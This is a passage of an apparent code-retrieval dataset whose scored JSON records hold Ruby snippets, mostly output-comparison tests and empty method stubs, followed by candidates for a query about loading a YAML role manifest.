"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.6253481",
"text": "def outputs; end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.6253481",
"text": "def outputs; end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.6253481",
"text": "def outputs; end",
"title": ""
},
{
"docid": "794a198d95cf296afde54486d8c4e262",
"score": "0.5865609",
"text": "def avail_out=(*) end",
"title": ""
},
{
"docid": "bc720f56d431d8e7d31455ce28f9ea99",
"score": "0.58004296",
"text": "def differences; end",
"title": ""
},
{
"docid": "44f1d3b9bedec642326ee6ee2061c7ee",
"score": "0.572433",
"text": "def total_out(*) end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.5640609",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.56401724",
"text": "def output; end",
"title": ""
},
{
"docid": "a47adda09e78b89b3ece45f0a536b177",
"score": "0.563609",
"text": "def assert_same_output(ref, out)\n ref.rewind; out.rewind\n lineno = 1\n until (ref.eof? && out.eof?)\n ref_line, out_line = ref.gets, out.gets\n assert_equal ref_line, out_line, \"Line #{lineno} should be the same\"\n lineno += 1\n end\n end",
"title": ""
},
{
"docid": "0e51b7bc662b6e57fc8b575fb9fcba40",
"score": "0.55828005",
"text": "def avail_out(*) end",
"title": ""
},
{
"docid": "9e54d2a46f439bb51da049ec504cc18c",
"score": "0.5579918",
"text": "def actual; end",
"title": ""
},
{
"docid": "41e99ab02c51581e6490b17f3263a84c",
"score": "0.54854006",
"text": "def merged_result; end",
"title": ""
},
{
"docid": "d529d20b8689306876cf10721fa77a16",
"score": "0.54760873",
"text": "def sideup()\n self.result\n end",
"title": ""
},
{
"docid": "cda534f49484307408d77626b9c304c0",
"score": "0.5455988",
"text": "def one(output)\n output[0] += \"\\s\\s\\s\"\n output[1] += \"\\s\\s|\"\n output[2] += \"\\s\\s|\"\n\n output\n end",
"title": ""
},
{
"docid": "ed7a9159acf7052543149b17bef5c833",
"score": "0.545011",
"text": "def out; end",
"title": ""
},
{
"docid": "ed7a9159acf7052543149b17bef5c833",
"score": "0.545011",
"text": "def out; end",
"title": ""
},
{
"docid": "d9bb65860aeebc8d1cb60fd0b1a84ce4",
"score": "0.54475915",
"text": "def diff\n end",
"title": ""
},
{
"docid": "49af2489fd9ecf1d6b3f136a246a6b4c",
"score": "0.54414874",
"text": "def complementing_output_product\n @output * (1 - @output)\n end",
"title": ""
},
{
"docid": "46b427783b01f167b0cb467470e4856d",
"score": "0.54208827",
"text": "def combined_output\n @stdcomb || ''\n end",
"title": ""
},
{
"docid": "a7e46056aae02404670c78192ffb8f3f",
"score": "0.54090005",
"text": "def original_result; end",
"title": ""
},
{
"docid": "63c779aa3dc35b9a9796f03940c7cc65",
"score": "0.53899604",
"text": "def output_format; end",
"title": ""
},
{
"docid": "d2386be050ee209a108b79d4b2b01003",
"score": "0.53350013",
"text": "def correct_all\n #compare iteration\n\n end",
"title": ""
},
{
"docid": "bc658f9936671408e02baa884ac86390",
"score": "0.5333067",
"text": "def anchored; end",
"title": ""
},
{
"docid": "766a1755b1f9472b764bda8eec9716c6",
"score": "0.5331676",
"text": "def chore; end",
"title": ""
},
{
"docid": "7c6eb505aca9cc1ff1f62f3785436382",
"score": "0.53253835",
"text": "def sideup\n self.result\n end",
"title": ""
},
{
"docid": "7c6eb505aca9cc1ff1f62f3785436382",
"score": "0.53253835",
"text": "def sideup\n self.result\n end",
"title": ""
},
{
"docid": "7f7caa950da4ecaa12c98fe12e79b887",
"score": "0.5306305",
"text": "def update_outputs\n end",
"title": ""
},
{
"docid": "a55efb4fd18848bc80a3f3b2e1c8f25d",
"score": "0.5303982",
"text": "def test_run_outputs_same_with_seed\n game = Game.new\n correct = \"Rubyist #1 starting in Enumerable Canyon.\\n\\tFound 1 fake ruby in Enumerable Canyon.\\n\\tFound 1 ruby in Enumerable Canyon.\\n\\tFound 1 ruby and 1 fake ruby in Enumerable Canyon.\\n\\tFound 1 ruby and 1 fake ruby in Enumerable Canyon.\\n\\tFound 1 ruby and 1 fake ruby in Enumerable Canyon.\\n\\tFound 1 ruby in Enumerable Canyon.\\n\\tFound 1 fake ruby in Enumerable Canyon.\\n\\tFound no rubies or fake rubies in Enumerable Canyon.\\nAfter 8 days, Rubyist 1 found:\\n\\t5 rubies.\\n\\t5 fake rubies.\\nGoing home sad.\\n\"\n assert_output (correct) { game.run(0, 1, 1) }\n end",
"title": ""
},
{
"docid": "fdac6232ec6c001e713971f20112a3a3",
"score": "0.52930975",
"text": "def test_found_gold_random_same\n @p1 = Prospect::new 17, 1\n @p2 = Prospect::new 17, 1\n gold_1 = @p1.search_gold(3)\n gold_2 = @p2.search_gold(3)\n assert gold_1 == gold_2\n end",
"title": ""
},
{
"docid": "3136801d915434ed555d6b51e5e6eab9",
"score": "0.5291556",
"text": "def print_resource_diffs(r1, r2)\n result = r1.dup \n r2.each{|e| result.include?(e) ? result.delete(e) : result.push(e) }\n result.each {|resource| puts \"\\t#{resource}\"}\nend",
"title": ""
},
{
"docid": "e5fe0d3f5b9e2cd086ce137812bae825",
"score": "0.5285615",
"text": "def test_gold_silver_amount_both_one\n\n\t\t\n\t\to =@test_sim.print_gold_and_silver_amounts(1,1)\n\t\tsilver = 1\n\t\tgold = 1\n\t\te = \"\\t\" + silver.to_s + ' ounce of Silver and ' + gold.to_s + ' ounce of Gold!'\n\n\t\tassert_equal e, o\n\tend",
"title": ""
},
{
"docid": "65243d681e796f92fb357308278ae03e",
"score": "0.52822113",
"text": "def test_same_set\n sample1 = Card.new(1, 'diamond', 'solid', 'green')\n input1 = [sample1, sample1, sample1]\n out1 = CheckerSet.new\n assert_equal(true, out1.match?(input1))\n end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.5280833",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.5280833",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.5280833",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.5280833",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.5280833",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.5280833",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "ef1382fd536d34de00b68c78f0657ee7",
"score": "0.52680284",
"text": "def test2\n\t\tassert_equal \"[[1/1, 1/1], [1/1, 1/1]]\", (MatrizDensa.new(2,2,[Fraccion.new(1,2),Fraccion.new(1,3),Fraccion.new(1,4),Fraccion.new(1,5)]) + MatrizDensa.new(2,2,[Fraccion.new(1,2),Fraccion.new(2,3),Fraccion.new(3,4),Fraccion.new(4,5)])).to_s\t\n\t\t#assert_equal \"[[1/2, 3/5], [11/40, 49/150]]\", (MatrizDensa.new(2,2,[Fraccion.new(1,2),Fraccion.new(1,3),Fraccion.new(1,4),Fraccion.new(1,5)]) * MatrizDensa.new(2,2,[Fraccion.new(1,2),Fraccion.new(2,3),Fraccion.new(3,4),Fraccion.new(4,5)])).to_s\t\n\t\t\n\tend",
"title": ""
},
{
"docid": "1151221aa9457e5cad317e4fec922758",
"score": "0.52592963",
"text": "def adjugate; end",
"title": ""
},
{
"docid": "d884aca01df1817edc3eefd0f8e1d3ff",
"score": "0.52587354",
"text": "def clear; @output.clear ; end",
"title": ""
},
{
"docid": "9d525a49ec32973f162524f5376d9fef",
"score": "0.5254106",
"text": "def is_equivalent()\n return !is_same() && \n @atkDifference == 0 && \n @defDifference == 0 &&\n @spiDifference == 0 &&\n @agiDifference == 0 &&\n @evaDifference == 0 &&\n @hitDifference == 0\n end",
"title": ""
},
{
"docid": "9d525a49ec32973f162524f5376d9fef",
"score": "0.5254106",
"text": "def is_equivalent()\n return !is_same() && \n @atkDifference == 0 && \n @defDifference == 0 &&\n @spiDifference == 0 &&\n @agiDifference == 0 &&\n @evaDifference == 0 &&\n @hitDifference == 0\n end",
"title": ""
},
{
"docid": "63a041f25f946c54041a15c0cd5f16a0",
"score": "0.5248089",
"text": "def stringOutput\n\t\tend",
"title": ""
},
{
"docid": "5bfb056ab48531df2dd0102f1db16d19",
"score": "0.5246354",
"text": "def test_process_output_return_value\n assert_equal(\"The file empty.txt is empty.\",@wc_empty.process_output(@wc_empty.count))\n assert_equal(\"Sorry, the file name you entered nonexistent.txt doesn't exist.\",@wc_n_e.process_output(@wc_n_e.count))\n assert_equal(\"You didn't enter a valid file name. Please double check.\",@wc_nil.process_output(@wc_nil.count))\n \n\n assert_include(@wc_long.process_output(@wc_long.count),\"apple,2000\")\n assert_include(@wc_long.process_output(@wc_long.count),\"orange,3000\")\n assert_include(@wc_long.process_output(@wc_long.count),\"banana,1000\")\n assert_not_include(@wc_long.process_output(@wc_long.count),\"banana,2000\")\n\n assert_include(@wc_super_long.process_output(@wc_super_long.count),\"apple,20000000\")\n assert_include(@wc_super_long.process_output(@wc_super_long.count),\"orange,30000000\")\n assert_include(@wc_super_long.process_output(@wc_super_long.count),\"banana,10000000\")\n assert_not_include(@wc_super_long.process_output(@wc_super_long.count),\"banana,200000\")\n\n assert_include(@wc_new.process_output(@wc_new.count),\"yellow,3\")\n assert_include(@wc_new.process_output(@wc_new.count),\"green,3\")\n assert_include(@wc_new.process_output(@wc_new.count),\"red,2\")\n assert_include(@wc_new.process_output(@wc_new.count),\"blue,2\")\n assert_not_include(@wc_new.process_output(@wc_new.count),\"blue,3\")\n end",
"title": ""
},
{
"docid": "76dd0f78bc4f8e1dd3fd0cf401020e3b",
"score": "0.5246026",
"text": "def test_recite_random\n poem = Poem.new\n data1 = poem.recite_random\n data2 = poem.recite_random\n assert_not_equal data1, data2, \"recite_random should return different data\"\n end",
"title": ""
},
{
"docid": "7b80a5cd34b3ff10c045a4c7d8274bff",
"score": "0.5236676",
"text": "def output_hash; end",
"title": ""
},
{
"docid": "7b80a5cd34b3ff10c045a4c7d8274bff",
"score": "0.5236676",
"text": "def output_hash; end",
"title": ""
},
{
"docid": "a1e002db680a6d0ebf1c2a958f6bb321",
"score": "0.52302474",
"text": "def same_barcodes_on_both_ends_of_sequence\n # Always true at the time of writing\n true\n end",
"title": ""
},
{
"docid": "2a6fd758ab3601934e1944abeed6fd3d",
"score": "0.5219514",
"text": "def output\n test.output\n end",
"title": ""
},
{
"docid": "5c8f4b01f17a926407f0ae8dff1b6691",
"score": "0.5208882",
"text": "def shuffle()\n \n end",
"title": ""
},
{
"docid": "1cb7aa21d915d129ac980018582825d7",
"score": "0.51941824",
"text": "def test_bad_display_output_objects\n driver_simulation = DriverSimulation::new\n x = []\n y = 1\n z = 1\n w = 1\n l1 = \"asdf\"\n l2 = 32\n l3 = 34\n l4 = \"jjj\"\n assert_equal (\"---\"), driver_simulation.display_output(x, y, z, w, l1, l2, l3, l4)\n end",
"title": ""
},
{
"docid": "9ebb31c1ef966a15a884046a50fccab4",
"score": "0.5192951",
"text": "def diffable; end",
"title": ""
},
{
"docid": "85204fbd4a570f22524deab47822493c",
"score": "0.51848483",
"text": "def xml_cmp a, b\n a = REXML::Document.new(a.to_s)\n b = REXML::Document.new(b.to_s)\n\n normalized = Class.new(REXML::Formatters::Pretty) do\n def write_text(node, output)\n super(node.to_s.strip, output)\n end\n end\n\n normalized.new(indentation=0,ie_hack=false).write(node=a, a_normalized='')\n normalized.new(indentation=0,ie_hack=false).write(node=b, b_normalized='')\n\n a_normalized == b_normalized\n end",
"title": ""
},
{
"docid": "869acb11a569f23df21056e69aee0ed8",
"score": "0.51818067",
"text": "def output_buffer; end",
"title": ""
},
{
"docid": "42d75adac7d0b6eb26981fe08edc7013",
"score": "0.5179514",
"text": "def puts(str)\n @output2.puts(str)\n @output1.puts(str)\n end",
"title": ""
},
{
"docid": "cb2be7027cf3de28e27f7ec7e96ac4fe",
"score": "0.51789564",
"text": "def test_show_hand_1\n\t\tactual_output = File.new 'show_hand_output/actual_output1.txt', 'w'\n\t\t$stdout = actual_output\n\t\tgame = SetGame.new\n\t\tgame.hand = []\n\t\tgame.show_hand\n\t\tactual_output.close\n\t\tassert_true FileUtils.compare_file('show_hand_output/expected_output1.txt', 'show_hand_output/actual_output1.txt')\n\tend",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.51765126",
"text": "def desired; end",
"title": ""
},
{
"docid": "0fb9e0d2596be8fc87e0946745fd0d2c",
"score": "0.51764876",
"text": "def method5(array1, array2)\n\tnew_array = array1 | array2\n\tnew_array2 = array1 & array2\n\tnew_array3 = array1 - array2\n\t# puts new_array\n\t# puts new_array2\n\t#puts new_array3\n\n\tone_array = array1.zip(array2).flatten.uniq #merges side by side with zip and then .flatten puts into one array\n\n\tnon_duplicate_hash = {}\n\tone_array.each_with_index do |k,v|\n\t\tnon_duplicate_hash[k] = v\n\tend\n\tputs non_duplicate_hash\nend",
"title": ""
},
{
"docid": "f84eee98dd90726e6b6e43d3b4f74a31",
"score": "0.51733965",
"text": "def tock\r\n outputs.each(&:tock)\r\n end",
"title": ""
},
{
"docid": "1d0ad7952f82805ecfc5f402a623067b",
"score": "0.51667166",
"text": "def output_1\n puts @@output_1\n end",
"title": ""
},
{
"docid": "31039bd174b7a17888023710d5f62179",
"score": "0.51464486",
"text": "def putsSame(line1, line2)\n\tline1.length.times do |i|\n\t\tif line1[i] == line2[i]\n\t\t\tprint(line1[i])\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "b5da278dab1d4f3d02c82b25a9454e77",
"score": "0.5145137",
"text": "def same_barcodes_on_both_ends_of_sequence\n # Always true at the time of writing\n true\n end",
"title": ""
},
{
"docid": "2cee55700d2ff30ffc477f675ce67cfd",
"score": "0.51440394",
"text": "def cross_simple(arr1, arr2, file_ref)\n\tarr1.each { |outer| \n\t\tarr2.each { |inner| \n\t\t\tfile_ref.puts(\"#{outer}#{inner}\")\n\t\t\tfile_ref.puts(\"#{inner}#{outer}\")\n\t\t\t$total_written_counter += 2\n\t\t}\n\t}\nend",
"title": ""
},
{
"docid": "c2fe7baa89f8557f91c5e3c9e8e0d4e7",
"score": "0.5141425",
"text": "def output_start; end",
"title": ""
},
{
"docid": "5edecf42e706bfbd9ae4d9ae470134db",
"score": "0.5131877",
"text": "def diff\nend",
"title": ""
},
{
"docid": "0559bb7e816119b6112be68d1acf937d",
"score": "0.5131749",
"text": "def test_show_hand_2\n\t\tactual_output = File.new 'show_hand_output/actual_output2.txt', 'w'\n\t\t$stdout = actual_output\n\t\tgame = SetGame.new\n\t\tgame.hand = [CARD1, CARD3, CARD9]\n\t\tgame.show_hand\n\t\tactual_output.close\n\t\tassert_true FileUtils.compare_file('show_hand_output/expected_output2.txt', 'show_hand_output/actual_output2.txt')\n\tend",
"title": ""
},
{
"docid": "b37037fcdbf2daaaebcaa4fe29f082d3",
"score": "0.51282716",
"text": "def inspect_output; end",
"title": ""
},
{
"docid": "944ee95d91e7e6eed9314cde2e202c57",
"score": "0.51146287",
"text": "def test_sum_new_line\r\n assert_equal(@foo4, @res4)\r\n end",
"title": ""
},
{
"docid": "7635c207c3c9aad07cebdc3396b1df12",
"score": "0.5104524",
"text": "def test_reproducible\n time = Time.now\n ns = 'namespace'\n o_id = 'object id'\n p_e = 'premis event name'\n uuid_1 = HtPremisUuid.generate(ns, o_id, p_e, :time => time)\n uuid_2 = HtPremisUuid.generate(ns, o_id, p_e, :time => time)\n assert uuid_1 == uuid_2, \"Should be same: #{uuid_1} #{uuid_2}\";\n end",
"title": ""
},
{
"docid": "f38c7a6457eba376c3ba32a10b6edf24",
"score": "0.5103773",
"text": "def same (a, b)\n a == b\nend",
"title": ""
},
{
"docid": "3a615770b758c99a63591221484055e7",
"score": "0.510273",
"text": "def test_found_gold_random_different\n @p1 = Prospect::new 267, 1\n @p2 = Prospect::new 108, 1\n gold_1 = @p1.search_gold(3)\n gold_2 = @p2.search_gold(3)\n assert gold_1 != gold_2\n end",
"title": ""
},
{
"docid": "4ca89fffbe5324475ec0f92f840b7cf7",
"score": "0.51026535",
"text": "def assert_copy(exp, out)\n refute_same exp, out\n assert_equal exp, out\n end",
"title": ""
},
{
"docid": "186ef87a1558a2ea09d6ce41678cb8bd",
"score": "0.5097646",
"text": "def match_expected_output(str = nil)\n\n if !str\n str = capture_end\n end\n\n cl_method = caller[0][/`.*'/][1..-2]\n if (cl_method.start_with?(\"test_\"))\n cl_method = cl_method[5..-1]\n end\n path = \"_output_\" + cl_method + \".txt\"\n\n if !File.file?(path)\n printf(\"no such file #{path} exists, writing it...\\n\")\n write_text_file(path,str)\n else\n exp_cont = read_text_file(path)\n if str != exp_cont\n d1 = str\n d2 = exp_cont\n\n # Find location where they differ\n lines1 = d1.split(\"\\n\")\n lines2 = d2.split(\"\\n\")\n j = [lines1.size, lines2.size].max\n\n s = \"???\"\n found_diff = false\n hist = []\n\n found_count = 0\n j.times do |i|\n found_diff ||= (i >= lines1.size || i >= lines2.size || lines1[i] != lines2[i])\n s = sprintf(\"%3d:\",i)\n if !found_diff\n hist << \"#{s} #{lines1[i]}\\n #{lines2[i]}\\n\"\n else\n if found_count < 3\n if i < lines1.size\n s << \" #{lines1[i]}\\n\"\n else\n s << \" ---END---\\n\"\n end\n if i < lines2.size\n s << \" #{lines2[i]}\\n\"\n else\n s << \" ---END---\\n\"\n end\n hist << s\n end\n found_count += 1\n end\n while hist.size > 6\n hist.shift\n end\n end\n dash = \"-\" * 95 + \"\\n\"\n raise IllegalStateException,\"output did not match expected:\\n#{dash}#{hist.join('')}#{dash}\"\n end\n end\nend",
"title": ""
},
{
"docid": "b7a3fdb44aef504e793109f1d7417eb9",
"score": "0.50939137",
"text": "def output\n @output ||= calculate_output\n end",
"title": ""
},
{
"docid": "6780ab93bcdc3e3e45ba1c9a488ac0ab",
"score": "0.5093435",
"text": "def tock\n outputs.each(&:tock)\n end",
"title": ""
}
] |
d95cf3f2f8bff594448f0e8deb517cc6
|
Load the role manifest, as a YAML document (not a Ruby object)
|
[
{
"docid": "3b8a30efb0c7ea6a14b1465df88e6488",
"score": "0.83767545",
"text": "def load_role_manifest\n path = File.join(File.dirname($0), MANIFEST_RELPATH)\n role_manifest = YAML.parse_file path\n fail \"Role manifest does not have a top level mapping\" unless role_manifest.children.first.is_a? Psych::Nodes::Mapping\n role_manifest\nend",
"title": ""
}
] |
[
{
"docid": "46ed14d9d5ea131ce929a91bca709d0f",
"score": "0.657829",
"text": "def load_permissions_file\n begin\n permissions_file = YAML.load_file(role_permissions_file_path)\n # raise unless permissions_file && yaml_loaded_correctly(permissions_file)\n rescue\n raise \"#{__FILE__ }: #{__LINE__}: in 'all_permissions': YAML Could not load role pemissions file at '#{role_permissions_file_path}', check the file location and YAML formatting. Duplicate YAML nodes may have been deleted during serialization.\"\n end\n #load_extension_permissions_files(permissions_file)\n end",
"title": ""
},
{
"docid": "98de846725774b8d00b578dd57f852ea",
"score": "0.6261268",
"text": "def load_manifest(file)\n self.manifest =\n ActiveSupport::HashWithIndifferentAccess.new YAML.load_file(file)\n end",
"title": ""
},
{
"docid": "65678f745365593e513471962096dfa2",
"score": "0.61727333",
"text": "def load_yaml\n return unless new_record?\n\n props = YAML.safe_load(File.open(path(\"#{name}.yml\"), \"r\", &:read))\n backwards_compatibility(props)\n deserialize(props)\n end",
"title": ""
},
{
"docid": "04cae21b074d1212b4c2020ba8d108e9",
"score": "0.6131445",
"text": "def from_yml(data)\n Manifest.new(YAML.load(data))\n end",
"title": ""
},
{
"docid": "d1fd35b468597be9e56f9fcc611ea01c",
"score": "0.61067104",
"text": "def manifest\n return generate_manifest if generate_manifest?\n\n case manifest_path.extname.downcase.delete \".\"\n when \"json\"\n JSON.parse(File.read(manifest_path))\n when \"yml\", \"yaml\"\n YAML.load_file(manifest_path)\n end\n end",
"title": ""
},
{
"docid": "2782b47d85d87ada4cff507a892dab7d",
"score": "0.60984737",
"text": "def yaml\n File.read(@name)\n end",
"title": ""
},
{
"docid": "117c125e4b1cd25dabaeea3ba2554d01",
"score": "0.6035837",
"text": "def read_yaml; read.from_yaml; end",
"title": ""
},
{
"docid": "bdb88e259ec9ac41a893697643ff7598",
"score": "0.6029918",
"text": "def load\n marshal_load(YAML.load_file(file) || {})\n end",
"title": ""
},
{
"docid": "914dac2b48297446f8b5a28a9a0b55a4",
"score": "0.60167927",
"text": "def extract\n begin\n @assets = YAML::load(@manifest)\n rescue Exception => e\n puts \"Asset Pipeline: Failed to read YAML manifest.\"\n raise e\n end\n end",
"title": ""
},
{
"docid": "64f2042977e9ebfb8561d5622c8679f8",
"score": "0.5948416",
"text": "def load_yaml(filename); end",
"title": ""
},
{
"docid": "b8401287fda942f1a366e4d3df54f309",
"score": "0.585971",
"text": "def initialize( manifest )\n\n begin\n @manifest = YAML.load(File.read(manifest))\n rescue => e\n puts \"YAML exception reading #{manifest}: #{e.message}\"\n end\n\n end",
"title": ""
},
{
"docid": "70b3cd3719d251b871424c6dca87e874",
"score": "0.58461237",
"text": "def load_yaml\n YAML.load(File.open(@filename))\n end",
"title": ""
},
{
"docid": "099bac261e41f426c7e1d1ecb348c992",
"score": "0.5808431",
"text": "def load_current_manifest()\n #@output.puts \"Loading current manifest\"\n current_manifest = YAML.load_file(@current_manifest)\n return current_manifest\n end",
"title": ""
},
{
"docid": "ad3607fcd3b7241a6ff88835d1821e0e",
"score": "0.579925",
"text": "def yamload(filename)\n yamlstring = File.read(filename)\n YAML::load yamlstring\nend",
"title": ""
},
{
"docid": "547f8d8aa6c8216ff8a70f5f4958ff07",
"score": "0.5792408",
"text": "def load\n @creatures = YAML.load(YamlLoader.creatures)\n end",
"title": ""
},
{
"docid": "fb9aeb6edd5ff20604bc09964438682e",
"score": "0.5784004",
"text": "def loadYaml(path); f = open(path, 'r'); x = YAML::load(f); f.close; x end",
"title": ""
},
{
"docid": "13e0e09a1769dfd8f126a0e7dc5e5908",
"score": "0.57792145",
"text": "def manifest\n if templates_directory_path.nil? || manifest_path.nil?\n raise \"Unable to dynamically figure out your templates_directory_path and manifest_path!\\nPlease implement these methods and let Genosaurus know where to find these things. Thanks.\"\n end\n if File.exists?(manifest_path)\n # run using the yml file\n template = ERB.new(File.open(manifest_path).read, nil, \"->\")\n man = YAML.load(template.result(binding))\n else\n files = Dir.glob(File.join(templates_directory_path, \"**/*.template\"))\n man = {}\n files.each_with_index do |f, i|\n output_path = f.gsub(templates_directory_path, \"\")\n output_path.gsub!(\".template\", \"\")\n output_path.gsub!(/^\\//, \"\")\n man[\"template_#{i+1}\"] = {\n \"type\" => File.directory?(f) ? \"directory\" : \"file\",\n \"template_path\" => f,\n \"output_path\" => Erubis::Eruby.new(output_path, :pattern => '% %').result(binding)\n }\n end\n end\n # puts man.inspect\n man\n end",
"title": ""
},
{
"docid": "2594dff0c9b57116fe1193034b823d9c",
"score": "0.5746534",
"text": "def load_yaml(yaml)\n YAML::load(File.open(yaml))['submodules']\n rescue\n puts \"The YAML file cannot be found.\"\n exit(0)\n end",
"title": ""
},
{
"docid": "1ff0fe83ccb14633496a8815aa5f715f",
"score": "0.5733689",
"text": "def load_role_data(name, args)\n if name.is_a?(Hash)\n args = name\n name = nil\n end\n @role_data = load_config(\"#{Huzzah.path}/roles/#{name}.yml\")\n warn \"No role data found for '#{name}'\" if name && @role_data.empty?\n unless args.is_a?(Hash)\n fail ArgumentError, \"Expected a Hash, got #{args.class}\"\n end\n role_data.merge!(args).freeze\n end",
"title": ""
},
{
"docid": "10d5fc93179be0288b9ca7c06cbeadc2",
"score": "0.5672826",
"text": "def load!\n ::YAML.load_file(@path)\n end",
"title": ""
},
{
"docid": "f0d871e086c6818d6e9b34fc51e00038",
"score": "0.56440115",
"text": "def load_yaml\n @data = YAML.load_file(@file)\n end",
"title": ""
},
{
"docid": "668173fa9425b2738129c9bd9270e98e",
"score": "0.5581945",
"text": "def generate_manifest\n data = []\n artifacts.each do |artifact|\n data << artifact.manifest_data\n end\n\n File.open('manifest.yml', 'w') { |f| f.puts data.to_yaml }\n end",
"title": ""
},
{
"docid": "2bb89a966ae0eaed03d7d3bf1059dcd4",
"score": "0.55785894",
"text": "def galaxy_install_info(role_name)\n role_path = File.join(\"deployment\", \"ansible\", \"roles\", role_name)\n galaxy_install_info = File.join(role_path, \"meta\", \".galaxy_install_info\")\n\n if (File.directory?(role_path) || File.symlink?(role_path)) && File.exists?(galaxy_install_info)\n YAML.load_file(galaxy_install_info)\n else\n { install_date: \"\", version: \"0.0.0\" }\n end\nend",
"title": ""
},
{
"docid": "2bb89a966ae0eaed03d7d3bf1059dcd4",
"score": "0.55785894",
"text": "def galaxy_install_info(role_name)\n role_path = File.join(\"deployment\", \"ansible\", \"roles\", role_name)\n galaxy_install_info = File.join(role_path, \"meta\", \".galaxy_install_info\")\n\n if (File.directory?(role_path) || File.symlink?(role_path)) && File.exists?(galaxy_install_info)\n YAML.load_file(galaxy_install_info)\n else\n { install_date: \"\", version: \"0.0.0\" }\n end\nend",
"title": ""
},
{
"docid": "2bb89a966ae0eaed03d7d3bf1059dcd4",
"score": "0.55785894",
"text": "def galaxy_install_info(role_name)\n role_path = File.join(\"deployment\", \"ansible\", \"roles\", role_name)\n galaxy_install_info = File.join(role_path, \"meta\", \".galaxy_install_info\")\n\n if (File.directory?(role_path) || File.symlink?(role_path)) && File.exists?(galaxy_install_info)\n YAML.load_file(galaxy_install_info)\n else\n { install_date: \"\", version: \"0.0.0\" }\n end\nend",
"title": ""
},
{
"docid": "76df1a16ea48ba024e36ba28aee6ce20",
"score": "0.557256",
"text": "def yaml\n return @yaml if defined?(@yaml) && @yaml\n load!\n @yaml \n end",
"title": ""
},
{
"docid": "3de841859c333d2475e79d7489bdd221",
"score": "0.55591196",
"text": "def load_yaml(file)\n # TBD\n end",
"title": ""
},
{
"docid": "98d7fcb1b7dfe118570ba5b1e2012aa2",
"score": "0.55515385",
"text": "def read_yaml filename\n YAML.load_file filename\nend",
"title": ""
},
{
"docid": "ea712bb4b3610d442ebcc462a3f783e1",
"score": "0.5517523",
"text": "def galaxy_install_info(role_name)\n role_path = File.join(\"ansible\", role_name)\n galaxy_install_info = File.join(role_path, \"meta\", \".galaxy_install_info\")\n\n if (File.directory?(role_path) || File.symlink?(role_path)) && File.exists?(galaxy_install_info)\n YAML.load_file(galaxy_install_info)\n else\n { install_date: \"\", version: \"0.0.0\" }\n end\nend",
"title": ""
},
{
"docid": "ea712bb4b3610d442ebcc462a3f783e1",
"score": "0.5517523",
"text": "def galaxy_install_info(role_name)\n role_path = File.join(\"ansible\", role_name)\n galaxy_install_info = File.join(role_path, \"meta\", \".galaxy_install_info\")\n\n if (File.directory?(role_path) || File.symlink?(role_path)) && File.exists?(galaxy_install_info)\n YAML.load_file(galaxy_install_info)\n else\n { install_date: \"\", version: \"0.0.0\" }\n end\nend",
"title": ""
},
{
